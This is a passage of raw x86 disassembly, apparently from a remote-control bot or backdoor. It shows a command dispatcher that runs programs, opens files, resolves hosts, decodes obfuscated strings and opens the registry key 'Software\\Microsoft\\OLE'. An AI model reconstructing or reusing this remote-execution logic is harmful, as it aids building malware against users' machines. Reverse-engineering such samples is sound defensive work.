		dec	ebp
		jnz	short loc_404998
		jmp	short loc_4049B8
; ---------------------------------------------------------------------------


loc_4049A7:				; CODE XREF: sub_404640+352j
		test	ebp, ebp
		jle	short loc_4049B8


loc_4049AB:				; CODE XREF: sub_404640+376j
		mov	ecx, [esp+98h+var_88]
		push	esi
		call	sub_401442
		dec	ebp
		jnz	short loc_4049AB


loc_4049B8:				; CODE XREF: sub_404640+356j
					; sub_404640+365j ...
		lea	ecx, [esp+98h+var_84]
		mov	[esp+98h+var_4], 0FFFFFFFFh
		call	sub_401226
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049CE:				; CODE XREF: sub_404640+1E7j
		mov	al, [esp+98h+arg_4]
		mov	ecx, [esp+98h+var_88]
		test	al, al
		push	esi
		jnz	short loc_4049E5
		call	sub_401F69
		jmp	short loc_4049EA
; ---------------------------------------------------------------------------


loc_4049E5:				; CODE XREF: sub_404640+39Cj
		call	sub_401442


loc_4049EA:				; CODE XREF: sub_404640+162j
					; sub_404640+232j ...
		mov	ecx, [esp+98h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		mov	large fs:0, ecx
		pop	ebx
		add	esp, 88h
		retn	8
sub_404640	endp

; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 100h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404B10	proc near		; CODE XREF: sub_401F69j

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, ecx
		mov	ecx, offset word_448CA2
		call	sub_4014D3
		mov	esi, [esp+8+arg_0]
		push	eax
		lea	ecx, [esi+7Eh]
		call	sub_4012EE
		test	eax, eax
		jz	short loc_404B56
		sub	esp, 18h
		lea	eax, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	eax
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B56
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B56:				; CODE XREF: sub_404B10+1Dj
					; sub_404B10+3Dj
		sub	esp, 18h
		lea	edx, [esi+15h]
		mov	ecx, esp
		mov	[esp+20h+arg_0], esp
		push	edx
		call	sub_4014C9
		mov	ecx, offset word_448C9E
		call	sub_401CD0
		test	eax, eax
		jnz	short loc_404B96
		mov	al, [edi+469h]
		test	al, al
		jz	short loc_404B96
		push	0
		lea	ecx, [esi+2Ah]
		call	sub_40146F
		cmp	byte ptr [eax],	23h
		jz	short loc_404B96
		xor	al, al
		pop	edi
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404B96:				; CODE XREF: sub_404B10+64j
					; sub_404B10+6Ej ...
		push	esi
		mov	ecx, edi
		call	sub_401442
		pop	edi
		pop	esi
		retn	4
sub_404B10	endp

; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404BE0	proc near		; CODE XREF: sub_401442j

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	1
		lea	ecx, [esi+7Eh]
		call	sub_4017E4
		push	eax
		mov	ecx, offset dword_447158
		call	sub_401AF0
		test	eax, eax
		jz	short loc_404C0A
		mov	ecx, [eax+2Ah]
		push	esi
		mov	eax, [ecx]
		call	dword ptr [eax]
		pop	esi
		retn	4
; ---------------------------------------------------------------------------


loc_404C0A:				; CODE XREF: sub_404BE0+1Cj
		xor	al, al
		pop	esi
		retn	4
sub_404BE0	endp

; ---------------------------------------------------------------------------
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C20	proc near		; CODE XREF: sub_40185Cj
		push	esi
		push	edi
		mov	edi, dword_50F8A4
		mov	esi, ecx
		call	edi
		mov	edx, dword_4D60D9
		mov	ecx, [esi+421h]
		sub	eax, edx
		cmp	eax, ecx
		jbe	short loc_404C4F
		mov	ecx, offset byte_4D60B5
		call	sub_401D0C
		call	edi
		mov	dword_4D60D9, eax


loc_404C4F:				; CODE XREF: sub_404C20+1Cj
		pop	edi
		mov	al, 1
		pop	esi
		retn
sub_404C20	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_404C70	proc near		; CODE XREF: sub_4017C6j

var_1B4		= dword	ptr -1B4h
var_1B0		= byte ptr -1B0h
var_1AC		= dword	ptr -1ACh
var_1A8		= byte ptr -1A8h
var_198		= byte ptr -198h
var_194		= dword	ptr -194h
var_190		= byte ptr -190h
var_17C		= dword	ptr -17Ch
var_178		= byte ptr -178h
var_168		= dword	ptr -168h
var_164		= byte ptr -164h
var_14D		= byte ptr -14Dh
var_14C		= byte ptr -14Ch
var_130		= byte ptr -130h
var_11C		= byte ptr -11Ch
var_104		= dword	ptr -104h
var_100		= byte ptr -100h
var_D0		= dword	ptr -0D0h
var_A0		= byte ptr -0A0h
var_8C		= byte ptr -8Ch
var_54		= byte ptr -54h
var_50		= byte ptr -50h
var_48		= byte ptr -48h
var_30		= byte ptr -30h
var_18		= byte ptr -18h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_404C70
		push	eax
		mov	large fs:0, esp
		sub	esp, 15Ch
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+174h+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebp, [esi+7Eh]
		lea	ecx, [edi+0C29h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404CE4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [edi+2E3h]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404CE4:				; CODE XREF: sub_404C70+40j
		lea	ecx, [edi+0D6Bh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404E75
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	2
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_100]
		push	1
		push	eax
		mov	ecx, esi
		mov	[esp+184h+var_4], 0
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		cmp	eax, 1
		lea	ecx, [esp+178h+var_100]
		mov	byte ptr [esp+178h+var_4], 0
		setz	bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	2000h
		push	2000h
		lea	ecx, [esp+180h+var_164]
		mov	byte ptr [esp+180h+var_4], 2
		call	sub_401C5D
		push	eax
		lea	ecx, [esp+180h+var_14C]
		call	sub_4017E4
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+178h+var_164]
		push	ecx
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401FBE
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+178h+var_D0]
		lea	edx, [esp+178h+var_11C]
		rep stosd
		lea	eax, [esp+178h+var_D0]
		push	edx
		push	eax
		push	0
		neg	bl
		push	0
		push	28h
		sbb	ebx, ebx
		push	1
		and	ebx, 5
		push	0
		push	0
		lea	ecx, [esp+198h+var_14C]
		mov	[esp+198h+var_D0], 44h
		mov	word ptr [esp+198h+var_A0], bx
		call	sub_4014D3
		push	eax
		push	0
		nop
		call	near ptr 27E0000h
		test	eax, eax
		jnz	short loc_404E49
		lea	ecx, [esi+69h]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404E49:				; CODE XREF: sub_404C70+18Cj
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404E75:				; CODE XREF: sub_404C70+89j
		lea	ecx, [edi+0B71h]
		call	sub_4014D3
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_404F24
		push	1
		push	offset asc_443600 ; " "
		lea	eax, [esp+180h+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4011EA
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 3
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F10
		mov	al, byte_4478D6
		test	al, al
		jz	short loc_404EE0
		push	offset dword_447874
		mov	ecx, offset dword_448DB0
		call	sub_401447


loc_404EE0:				; CODE XREF: sub_404C70+25Fj
		mov	al, byte_44791F
		test	al, al
		jz	short loc_404EF8
		push	offset byte_44794F
		mov	ecx, offset dword_448DB0
		call	sub_401942


loc_404EF8:				; CODE XREF: sub_404C70+277j
		mov	ecx, offset dword_448DB0
		call	sub_401E5B
		mov	byte_4D60CC, 0
		mov	byte_4E6E84, 0


loc_404F10:				; CODE XREF: sub_404C70+256j
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_164]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_404F24:				; CODE XREF: sub_404C70+21Aj
		lea	ecx, [edi+0C57h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_404F6C
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		mov	ecx, offset word_4E6E9A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_404F6C:				; CODE XREF: sub_404C70+2C9j
		lea	ecx, [edi+0DC7h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405029
		push	eax
		push	13h
		push	0Eh
		push	4
		push	8
		push	13h
		push	15h
		push	0Ch
		push	6
		lea	eax, [esp+19Ch+var_14C]
		push	50h
		push	eax
		call	sub_4019B5
		add	esp, 2Ch
		mov	esi, eax
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	7
		push	9
		push	6
		push	0Eh
		push	0Fh
		push	3
		push	10h
		lea	ecx, [esp+1A8h+var_164]
		push	9
		push	ecx
		mov	[esp+1B0h+var_4], 4
		call	sub_4019B5
		add	esp, 38h
		mov	edi, eax
		mov	ecx, esi
		mov	byte ptr [esp+178h+var_4], 5
		call	sub_4017E4
		push	eax
		mov	ecx, edi
		call	sub_4017E4
		push	eax
		call	sub_401299
		add	esp, 8
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405029:				; CODE XREF: sub_404C70+311j
		lea	ecx, [edi+0D0Fh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405147
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		mov	[esp+184h+var_4], 6
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 7
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_401A87
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		push	1
		mov	bl, 8
		push	0
		push	0
		lea	ecx, [esp+184h+var_14C]
		mov	byte ptr [esp+184h+var_4], bl
		call	sub_4017E4
		push	eax
		push	offset aOpen	; "open"
		push	0
		nop
		call	near ptr 7CA41110h
		movsx	eax, al
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4020F4
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], 9
		push	ecx
		lea	ecx, [esp+17Ch+var_164]
		call	sub_40200E
		lea	ecx, [esp+178h+var_11C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 6
		call	sub_401226
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_405147:				; CODE XREF: sub_404C70+3CEj
		lea	ecx, [edi+0D99h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_40516A
		mov	byte_4D60CC, al
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_40516A:				; CODE XREF: sub_404C70+4ECj
		lea	ecx, [edi+0D3Dh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405431
		lea	ecx, [esp+178h+var_11C]
		call	sub_401424
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		mov	ebx, 0Ah
		push	ecx
		mov	ecx, esi
		mov	[esp+184h+var_4], ebx
		call	sub_4016AE
		push	offset byte_446F70
		mov	ecx, eax
		mov	byte ptr [esp+17Ch+var_4], 0Bh
		call	sub_4012EE
		test	eax, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		setz	[esp+178h+var_14D]
		call	sub_401226
		mov	al, [esp+178h+var_14D]
		test	al, al
		jz	short loc_4051F4
		mov	[esp+178h+var_4], 0FFFFFFFFh
		lea	ecx, [esp+178h+var_11C]
		jmp	loc_40566E
; ---------------------------------------------------------------------------


loc_4051F4:				; CODE XREF: sub_404C70+56Ej
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_164]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Ch
		call	sub_4017E4
		push	eax
		call	near ptr 71AB2BF4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_104], eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		mov	eax, [esp+178h+var_104]
		or	ebp, 0FFFFFFFFh
		cmp	eax, ebp
		jz	loc_4052C7
		push	2
		lea	eax, [esp+17Ch+var_104]
		push	4
		push	eax
		call	near ptr 71ABE479h
		nop
		mov	edi, eax
		test	edi, edi
		jz	loc_4053A8
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	edx, [edi]
		mov	ecx, eax
		push	edx
		mov	byte ptr [esp+17Ch+var_4], 0Dh
		call	sub_4017E4
		push	eax
		lea	eax, [esp+180h+var_11C]
		push	offset aSResolvedS ; "%s resolved %s"
		push	eax
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		jmp	loc_40540E
; ---------------------------------------------------------------------------


loc_4052C7:				; CODE XREF: sub_404C70+5CAj
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 0Eh
		call	sub_4017E4
		push	eax
		call	near ptr 71AB4FD4h
		nop
		lea	ecx, [esp+178h+var_164]
		mov	edi, eax
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		test	edi, edi
		jz	loc_4053A8
		mov	ecx, [edi+0Ch]
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_164]
		push	1
		mov	edx, [ecx]
		push	eax
		mov	ecx, esi
		mov	edi, [edx]
		call	sub_4016AE
		mov	ebp, eax
		push	edi
		mov	byte ptr [esp+17Ch+var_4], 0Fh
		nop
		call	near ptr 71AB3F41h
		push	eax
		mov	ecx, ebp
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+180h+var_11C]
		push	offset aSS_1	; "%s -> %s"
		push	ecx
		call	sub_40102D
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4053A8:				; CODE XREF: sub_404C70+5E3j
					; sub_404C70+694j
		push	offset asc_443600 ; " "
		lea	ecx, [esp+17Ch+var_164]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 10h
		call	sub_4017E4
		push	eax
		lea	edx, [esp+17Ch+var_11C]
		push	offset aResolve_errorS ; "resolve.error	%s."
		push	edx
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_11C]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_40540E:				; CODE XREF: sub_404C70+652j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_11C]
		mov	bl, al
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405431:				; CODE XREF: sub_404C70+50Fj
		lea	ecx, [edi+0BCDh]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405522
		lea	ecx, [edi+9]
		call	sub_4017E4
		lea	edx, [esp+178h+var_164]
		push	eax
		push	edx
		call	sub_402022
		add	esp, 8
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	eax, [esp+188h+var_14C]
		mov	ebx, 11h
		push	28h
		push	eax
		mov	[esp+190h+var_4], ebx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 12h
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		push	20h
		lea	ecx, [esp+17Ch+var_14C]
		push	0
		push	ecx
		lea	ecx, [esp+184h+var_164]
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 13h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405522:				; CODE XREF: sub_404C70+7D6j
		lea	ecx, [edi+0E23h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405690
		push	offset asc_443600 ; " "
		lea	edx, [esp+17Ch+var_11C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016AE
		mov	edi, eax
		mov	ecx, ebp
		mov	[esp+178h+var_4], 14h
		call	sub_4013D9
		mov	ecx, edi
		mov	ebx, eax
		call	sub_4013D9
		mov	ecx, esi
		lea	edi, [ebx+eax+3]
		call	sub_4013D9
		cmp	eax, edi
		lea	ecx, [esp+178h+var_11C]
		setle	bl
		or	edi, 0FFFFFFFFh
		mov	[esp+178h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_405673
		lea	ecx, [esp+178h+var_14C]
		call	sub_401424
		mov	ecx, ebp
		mov	[esp+178h+var_4], 15h
		call	sub_4013D9
		add	eax, 2
		mov	ecx, esi
		push	eax
		call	sub_40146F
		push	eax
		lea	ecx, [esp+17Ch+var_14C]
		call	sub_4015D7
		lea	ecx, [esp+178h+var_164]
		call	sub_401424
		lea	ecx, [esp+178h+var_14C]
		mov	byte ptr [esp+178h+var_4], 16h
		call	sub_4017E4
		push	eax
		lea	eax, [esp+17Ch+var_164]
		push	offset aExecutedS_ ; "Executed:	%s."
		push	eax
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_14C]
		call	sub_4017E4
		push	eax
		call	near ptr 77C293C7h
		nop
		add	esp, 4
		cmp	eax, edi
		lea	ecx, [esi+69h]
		jnz	short loc_40562A
		call	sub_4014D3
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	offset aExec_error ; "exec.error"
		push	ecx
		push	edx
		jmp	short loc_405648
; ---------------------------------------------------------------------------


loc_40562A:				; CODE XREF: sub_404C70+99Dj
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx


loc_405648:				; CODE XREF: sub_404C70+9B8j
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 15h
		call	sub_401226
		mov	[esp+178h+var_4], edi
		lea	ecx, [esp+178h+var_14C]


loc_40566E:				; CODE XREF: sub_404C70+1D4j
					; sub_404C70+2AFj ...
		call	sub_401226


loc_405673:				; CODE XREF: sub_404C70+922j
					; sub_404C70+C70j
		xor	al, al


loc_405675:				; CODE XREF: sub_404C70+6Fj
					; sub_404C70+200j ...
		mov	ecx, [esp+178h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 168h
		retn	4
; ---------------------------------------------------------------------------


loc_405690:				; CODE XREF: sub_404C70+8C7j
		lea	ecx, [edi+0C85h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	short loc_405706
		lea	edx, [esp+178h+var_164]
		mov	ecx, edi
		push	edx
		call	sub_401F3C
		mov	edi, eax
		lea	ecx, [esi+69h]
		mov	[esp+178h+var_4], 17h
		call	sub_4014D3
		push	eax
		mov	ecx, edi
		call	sub_4014D3
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D60B5
		call	sub_401118
		lea	ecx, [esp+178h+var_164]
		mov	bl, al
		mov	[esp+178h+var_4], 0FFFFFFFFh
		call	sub_401226
		mov	al, bl
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_405706:				; CODE XREF: sub_404C70+A35j
		lea	ecx, [edi+0CE1h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4057F7
		push	1
		push	offset asc_443600 ; " "
		lea	edx, [esp+180h+var_14C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4011EA
		push	20h
		lea	ecx, [esp+17Ch+var_164]
		push	0
		push	ecx
		mov	ecx, eax
		mov	[esp+184h+var_4], 18h
		call	sub_4012B2
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 19h
		call	sub_4017E4
		push	eax
		push	offset aS	; "%s"
		push	offset byte_4E6E85
		call	sub_40102D
		add	esp, 0Ch
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 18h
		call	sub_401226
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+178h+var_14C]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		push	0
		push	25h
		push	1Dh
		push	23h
		lea	edx, [esp+188h+var_164]
		push	28h
		push	edx
		call	sub_4019B5
		add	esp, 18h
		mov	esi, eax
		mov	ecx, offset byte_4E6E85
		mov	[esp+178h+var_4], 1Ah
		call	sub_4017E4
		push	eax
		mov	ecx, esi
		call	sub_4017E4
		push	eax
		push	offset aSS_0	; "%s %s\r\n"
		push	offset byte_4D60B5
		call	sub_401E0B
		add	esp, 10h
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4057F7:				; CODE XREF: sub_404C70+AABj
		lea	ecx, [edi+0CB3h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_4058CB
		push	offset asc_443600 ; " "
		lea	eax, [esp+17Ch+var_14C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016AE
		mov	ecx, eax
		mov	[esp+178h+var_4], 1Bh
		call	sub_4017E4
		push	eax
		call	near ptr 77C1BF18h
		nop
		or	ebp, 0FFFFFFFFh
		add	esp, 4
		lea	ecx, [esp+178h+var_14C]
		mov	ebx, eax
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		test	ebx, ebx
		jnz	short loc_40585F
		mov	ebx, 7


loc_40585F:				; CODE XREF: sub_404C70+BE8j
		lea	ecx, [esp+178h+var_164]
		push	ebx
		push	ecx
		mov	ecx, edi
		call	sub_40194C
		push	offset byte_446F70
		lea	ecx, [esp+17Ch+var_164]
		mov	[esp+17Ch+var_4], 1Ch
		call	sub_4012EE
		test	eax, eax
		jz	short loc_4058B4
		lea	ecx, [esi+69h]
		call	sub_4014D3
		push	eax
		lea	ecx, [esp+17Ch+var_164]
		call	sub_4014D3
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D60B5
		call	sub_401118


loc_4058B4:				; CODE XREF: sub_404C70+C17j
		lea	ecx, [esp+178h+var_164]
		mov	[esp+178h+var_4], ebp
		call	sub_401226
		mov	al, 1
		jmp	loc_405675
; ---------------------------------------------------------------------------


loc_4058CB:				; CODE XREF: sub_404C70+B9Cj
		lea	ecx, [edi+0DF5h]
		call	sub_4017E4
		push	eax
		mov	ecx, ebp
		call	sub_4012EE
		test	eax, eax
		jnz	loc_405673
		lea	ecx, [esp+178h+var_100]
		call	sub_401424
		push	0
		push	0Eh
		push	15h
		push	2Ch
		push	50h
		push	0Eh
		push	0Fh
		push	9
		push	13h
		push	12h
		push	5
		push	30h
		push	14h
		push	0Eh
		push	5
		push	12h
		push	12h
		push	15h
		push	1Dh
		push	50h
		push	13h
		push	17h
		push	0Fh
		push	4
		push	0Eh
		push	9
		push	31h
		push	50h
		push	14h
		push	6
		push	0Fh
		push	13h
		push	0Fh
		push	12h
		push	3
		push	9
		push	27h
		push	50h
		push	5
		push	12h
		push	1
		push	17h
		push	14h
		push	6
		push	0Fh
		lea	ecx, [esp+22Ch+var_164]
		push	2Dh
		push	ecx
		mov	[esp+234h+var_4], 1Dh
		call	sub_4019B5
		add	esp, 0BCh
		mov	ecx, eax
		mov	byte ptr [esp+178h+var_4], 1Eh
		call	sub_4017E4
		push	eax
		lea	ecx, [esp+17Ch+var_100]
		call	sub_401A87
		lea	ecx, [esp+178h+var_164]
		mov	byte ptr [esp+178h+var_4], 1Dh
		call	sub_401226
		mov	edi, offset aN	; "N"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+178h+var_8C]
		repne scasb
		not	ecx
		sub	edi, ecx
		mov	[esp+178h+var_168], 0
		mov	eax, ecx
		mov	esi, edi
		mov	edi, edx
		shr	ecx, 2
		rep movsd
		mov	ecx, eax
		and	ecx, 3
		rep movsb
		lea	edi, [esp+178h+var_8C]
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		mov	esi, dword_50F75C
		mov	edi, ecx
		lea	ecx, [esp+178h+var_168]
		push	ecx
		push	20019h
		push	eax
		push	offset aSoftwareMicros ; "Software\\Microsoft\\OLE"
